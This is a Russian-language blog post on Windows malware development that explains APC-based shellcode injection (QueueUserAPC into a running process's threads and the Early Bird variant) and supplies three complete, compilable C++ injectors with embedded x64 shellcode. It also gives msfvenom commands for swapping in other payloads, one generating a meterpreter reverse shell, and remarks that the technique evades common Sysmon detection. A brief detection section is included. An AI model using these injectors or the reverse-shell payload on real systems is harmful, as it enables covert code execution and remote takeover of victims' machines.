Malware Development | QueueUserAPC

2026-07-30

Three working PoCs below TODO: add pics

Разбираю инъекцию шеллкода через механизм Asynchronous Procedure Calls (APC). Техника тише, чем CreateRemoteThread, и до сих пор используется в реальных загрузчиках. В конце три рабочие программы.

1 | Что такое APC

P.S | KS = kernelspace/kernel mode; US = userspace/user mode

APC (Asynchronous Procedure Call) - это callback, поставленный в очередь конкретному потоку. Она выполняется в контексте этого потока, когда он переходит в alertable состояние.

Каждый поток имеет собственную APC-очередь. Когда ядро обнаруживает, что поток alertable и его очередь не пуста, происходит cледующее:

  1. Когда SleepEx(..., TRUE) вызывается, в реальности это NtDelayExecution(Alertable=TRUE).

  2. Поток уходит в kernel-mode, ядро ставит его в wait с флагом alertable.

  3. QueueUserAPC - это NtQueueApcThread, который вставляет структуру _KAPC в список _KTHREAD.ApcState.ApcListHead[UserMode] целевого потока и выставляет флаг UserApcPending.

  4. Дальше функция nt!KiDeliverApc. Она вызывается в момент возврата из KS в US (из trapa), если UserApcPending == TRUE. Что она делает: модифицирует trap frame потока - конкретно RIP в сохраненном контексте - чтобы вместо возврата в исходный код поток попал в ntdll!KiUserApcDispatcher.

  5. KiUserApcDispatcher - это US диспетчер в ntdll, который и вызывает APC-функцию (в нашем случае - шеллкод). После возврата из APC функции он вызывает ZwContinue с оригинальным контекстом, восстанавливая состояние потока как будто он вернулся из alertable wait нормально.

В итоге: NtQueueApcThread \Rightarrow _KAPC в очередь \Rightarrow при выходе из KM KiDeliverApc патчит trap frame (RIP) \Rightarrow поток оказывается в KiUserApcDispatcher \Rightarrow вызов шеллкода \Rightarrow ZwContinue \Rightarrow восстановление контекста

APC делятся на KM и UM. KM APC требует написания драйвера (ого).

2 | Alertable

Поток входит в alertable состояние при вызове одной из следующих функций с параметром bAlertable = TRUE:

Если поток не в alertable состоянии на момент постановки APC в очередь, то APC останется в очереди и выполнится при следующем переходе потока в alertable состояние, так что по сути ничего страшного.

3 | Сигнатуры WinAPI

// processthreadapi.h, kernel32.lib
// Возвращает 0 при ошибке
DWORD QueueUserAPC(
    PAPCFUNC  pfnAPC,   // адрес callback (при инъекции - адрес шеллкода)
    HANDLE    hThread,  // хэндл потока, требует THREAD_SET_CONTEXT
    ULONG_PTR dwData    // передается в callback как единственный аргумент
);
// synchapi.h, kernel32.lib
// Возвращает 0 при таймауте, WAIT_IO_COMPLETION после выполнения APC
DWORD SleepEx(
    DWORD dwMilliseconds,  // INFINITE - без таймаута
    BOOL  bAlertable       // TRUE - разрешить выполнение APC
);

PAPCFUNC - указатель на функцию вида void CALLBACK f(ULONG_PTR). При инъекции шеллкода pfnAPC - это адрес шеллкода в адресном пространстве целевого процесса. Третий параметр dwData обычно равен 0; при DLL injection через LoadLibraryA туда передают адрес строки с путем к DLL.

4 | APC Queue Shellcode Injection !

Цель: найти поток целевого процесса в alertable состоянии и поставить в его очередь APC с адресом шеллкода. Нельзя заранее знать, какой поток окажется alertable, поэтому APC ставится во все потоки сразу.

4.1 | Открываем процесс и пишем шеллкод

Для записи памяти нужны PROCESS_VM_WRITE и PROCESS_VM_OPERATION. Выделяем буфер с правами на исполнение (PAGE_EXECUTE_READWRITE) и копируем шеллкод.


//desired access , handle inherited, pid
HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);

//handle, null, size, alloc_mode, permissions
LPVOID buf = VirtualAllocEx(hProc, NULL, shellcode_len,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//handle, rwx memory, shellcode, size, null
WriteProcessMemory(hProc, buf, shellcode, shellcode_len, NULL);

4.2 | Toolhelp32Snapshot THREAD Enum

Типичный метод для получения списка всех процессов… используется так же и для получения списка потоков. TH32CS_SNAPTHREAD делает снимок всех потоков в системе, второй аргумент для этого флага игнорируется (явно указано в документации). Фильтрация по th32OwnerProcessID. Для QueueUserAPC нужен THREAD_SET_CONTEXT.

HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(snap, &te)) {
    do {
        if (te.th32OwnerProcessID == pid) {
            HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            // сохраняем h в вектор
        }
    } while (Thread32Next(snap, &te));
}
CloseHandle(snap);

4.3 | Ставим APC на каждый поток

for (HANDLE h : threads) {
//получили все потоки ранее через снапшот
    QueueUserAPC((PAPCFUNC)buf, h, 0);
    CloseHandle(h);
}

Как только любой из потоков войдет в alertable состояние, шеллкод выполнится в его контексте. Если таргетный процесс активно использует alertable wait (браузеры, медиаплееры, антивирусы) - задержка будет минимальной.

5 | Early Bird APC

Из документации Microsoft:

“If an application queues an APC before the thread begins running, the thread begins by calling the APC function.”

Early Bird использует это: процесс запускается с флагом CREATE_SUSPENDED, APC ставится в очередь до первого исполненного байта основного потока. При ResumeThread поток выполнит APC в первую очередь - до точки входа самого процесса (main/WinMain/DllMain). Это надежнее remote injection, потому что не нужно ждать alertable состояния.

5.1 | CREATE_SUSPENDED

STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};

CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Поток создан, но не запущен. Suspended count = 1.

5.3 | Записываем шеллкод в память нового процесса

LPVOID buf = VirtualAllocEx(pi.hProcess, NULL, shellcode_len,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, buf, shellcode, shellcode_len, NULL);

5.4 | APC на главный поток, снимаем suspended

QueueUserAPC((PAPCFUNC)buf, pi.hThread, 0);
ResumeThread(pi.hThread); // теперь suspended == 0

При старте поток сначала обработает APC из очереди, потом перейдет к нормальному выполнению.

6 | Detection

Детект техники сложнее, чем CreateRemoteThread, т.к 1) Нет нового потока - Sysmon event ID 8 (CreateRemoteThread) не срабатывает 2) QueueUserAPC используется в легитимном ПО - детект только по IAT дает много false positive (в семпле #3 был легитимный софт с этой функцией и таким функционалом в целом)

Как детектить:

  1. Sysmon event ID 10 : (ProcessAccess) - фиксирует OpenProcess с VM_WRITE при remote injection
  2. Sysmon event ID 1 : запуск процесса с CREATE_SUSPENDED при Early Bird
  3. API hooking : перехват пары WriteProcessMemory + QueueUserAPC в одном процессе
  4. Behavior : VirtualAllocEx(RWX) + WriteProcessMemory + QueueUserAPC за Δt<ϵ\Delta t < \epsilon

7 | PoCs

Все три программы используют один шеллкод. Алгоритм: ходит по PEB (PEB walk на Си/x86/x64 в другой статье в блоге), находит KERNEL32.DLL, через его таблицу экспортов получает LoadLibraryA, загружает USER32.DLL, находит MessageBoxA, вызывает MessageBoxA(NULL, "Hello world", "Message", 0), затем ExitProcess(0).

TODO: переписать на плюсах чтобы был RAII

Для замены на другой payload можно юзать msfvenom или написать свой шеллкод.

msfvenom -p windows/x64/exec CMD=calc.exe -f c
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... EXITFUNC=thread -f c

To compile:

cl.exe /EHsc apc_inprocess.cpp /Fe:apc_inprocess.exe
cl.exe /EHsc apc_remote.cpp    /Fe:apc_remote.exe
cl.exe /EHsc apc_earlybird.cpp /Fe:apc_earlybird.exe

g++ -o apc_inprocess apc_inprocess.cpp
g++ -o apc_remote    apc_remote.cpp
g++ -o apc_earlybird apc_earlybird.cpp

7.1 | apc_inprocess.cpp

Инъекция в собственный процесс. Создает поток, который вызывает SleepEx(INFINITE, TRUE), переходя в alertable состояние. Главный поток ставит APC с шеллкодом и ждет завершения.

#include <Windows.h>
#include <cstdio>

char shellcode[] =
    "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
    "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
    "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
    "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
    "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
    "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
    "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
    "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
    "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
    "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
    "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
    "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
    "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
    "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
    "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
    "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
    "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
    "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
    "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
    "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
    "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
    "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
    "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
    "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
    "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
    "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
    "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
    "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
    "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
    
SIZE_T shellcode_len = sizeof(shellcode) - 1;

static DWORD WINAPI worker(LPVOID) {
    SleepEx(INFINITE, TRUE);
    return 0;
}

int main() {
    
    LPVOID buf = VirtualAlloc(NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!buf) {
        printf("VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }
    
    memcpy(buf, shellcode, shellcode_len);

    DWORD tid;
    HANDLE hThread = CreateThread(NULL, 0, worker, NULL, 0, &tid);
    if (!hThread) {
        printf("CreateThread failed: %lu\n", GetLastError());
        VirtualFree(buf, 0, MEM_RELEASE);
        return 1;
    }

    printf("*** worker tid: %lu ***\n", tid);
    Sleep(200);

    if (!QueueUserAPC((PAPCFUNC)buf, hThread, 0)) {
        printf("QueueUserAPC failed: %lu\n", GetLastError());
        CloseHandle(hThread);
        VirtualFree(buf, 0, MEM_RELEASE);
        return 1;
    }
    printf("*** APC queued ***\n");

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFree(buf, 0, MEM_RELEASE);
    return 0;
}

7.2 | apc_remote.cpp

Инъекция в существующий процесс по PID. Перечисляет все потоки через CreateToolhelp32Snapshot и ставит APC в каждый. Шеллкод выполнится, когда любой поток перейдет в alertable состояние. Usage: apc_remote.exe <PID>.

#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <cstdio>

char shellcode[] =
    "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
    "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
    "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
    "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
    "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
    "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
    "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
    "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
    "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
    "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
    "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
    "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
    "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
    "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
    "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
    "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
    "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
    "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
    "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
    "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
    "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
    "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
    "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
    "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
    "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
    "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
    "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
    "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
    "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
    
SIZE_T shellcode_len = sizeof(shellcode) - 1;

static void get_threads(DWORD pid, std::vector<HANDLE> &out) {

    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) return;

    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (h) out.push_back(h);
            }
        } while (Thread32Next(snap, &te));
    }
    
    CloseHandle(snap);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("usage: %s <pid>\n", argv[0]);
        return 1;
    }
    DWORD pid = (DWORD)atoi(argv[1]);

    HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
    if (!hProc) {
        printf("OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }

    LPVOID buf = VirtualAllocEx(hProc, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!buf) {
        printf("VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProc);
        return 1;
    }

    if (!WriteProcessMemory(hProc, buf, shellcode, shellcode_len, NULL)) {
        printf("WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProc, buf, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }
    printf("*** shellcode written at %p ***\n", buf);

    std::vector<HANDLE> threads;
    get_threads(pid, threads);
    if (threads.empty()) {
        printf("no threads found for pid %lu\n", pid);
        CloseHandle(hProc);
        return 1;
    }

    printf("*** found %zu threads, queueing APC ***\n", threads.size());
    for (HANDLE h : threads) {
        QueueUserAPC((PAPCFUNC)buf, h, 0);
        CloseHandle(h);
    }

    CloseHandle(hProc);
    return 0;
}

7.3 | apc_earlybird.cpp

Early Bird injection. Запускает процесс в CREATE_SUSPENDED, до старта основного потока записывает шеллкод и ставит APC. При ResumeThread поток начинает с APC-функции. Usage: apc_earlybird.exe C:\Windows\System32\notepad.exe

#include <Windows.h>
#include <cstdio>

char shellcode[] =
    "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
    "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
    "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
    "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
    "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
    "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
    "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
    "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
    "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
    "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
    "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
    "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
    "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
    "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
    "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
    "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
    "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
    "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
    "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
    "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
    "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
    "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
    "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
    "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
    "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
    "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
    "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
    "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
    "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T shellcode_len = sizeof(shellcode) - 1;

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("usage: %s <target_exe_path>\n", argv[0]);
        return 1;
    }

    char cmdline[MAX_PATH];
    strncpy_s(cmdline, argv[1], MAX_PATH - 1);

    STARTUPINFOA si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi = {};

    if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed: %lu\n", GetLastError());
        return 1;
    }
    printf("*** PID: %lu, TID: %lu (suspended) ***\n", pi.dwProcessId, pi.dwThreadId);

    LPVOID buf = VirtualAllocEx(pi.hProcess, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!buf) {
        printf("VirtualAllocEx failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return 1;
    }

    if (!WriteProcessMemory(pi.hProcess, buf, shellcode, shellcode_len, NULL)) {
        printf("WriteProcessMemory failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return 1;
    }
    printf("*** shellcode written at %p ***\n", buf);

    QueueUserAPC((PAPCFUNC)buf, pi.hThread, 0);
    printf("*** APC queued, resuming thread ***\n");

    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

8 | Reference